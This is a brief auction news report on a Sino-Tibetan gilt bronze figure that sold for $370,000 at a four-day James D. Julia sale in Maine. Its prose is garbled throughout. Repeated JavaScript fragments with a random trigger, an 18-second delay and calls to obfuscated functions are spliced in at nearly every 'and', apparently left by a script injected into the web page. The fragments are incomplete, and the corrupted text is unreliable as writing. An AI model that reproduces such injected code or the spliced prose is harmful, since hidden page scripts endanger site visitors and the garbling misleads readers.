FAIRFIELD, MAINE — With more than a dozen phones andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and several gallery bidders in fierce battle, a Sino-Tibetan gilt bronze figure rocketed past its $3/4,000 estimate to fetch $370,000 at James D. Julia’s annual summer-ending, four-day auction extravaganza of antiques, fine art andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Asian arts.

After strong sales all week, the sale reached fever pitch nearly two hours into the Friday, August 23, session when lot 4132 crossed the block. Though the in-house attendance was down slightly from two days prior, interest was high andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a few lots before the bronze, a definite buzz began in the room.

Opening at $5,000, the lot was hit hard by bidders with every phone on Julia’s phone bank taken plus a few extra cell phones called into action by other staffers. Jim Julia came down from his podium andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and stood in the middle of the crowd, loudly calling out bids above the din. One Chinese buyer in the back of the room did the same, yelling out $65,000, then $75,000. And still the bidding went higher.

When the dust settled, a phone bidder won the Hsuan Te period bronze, 8 inches tall, for $370,000 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the room burst into applause.

A full report on the sale will appear in a future edition.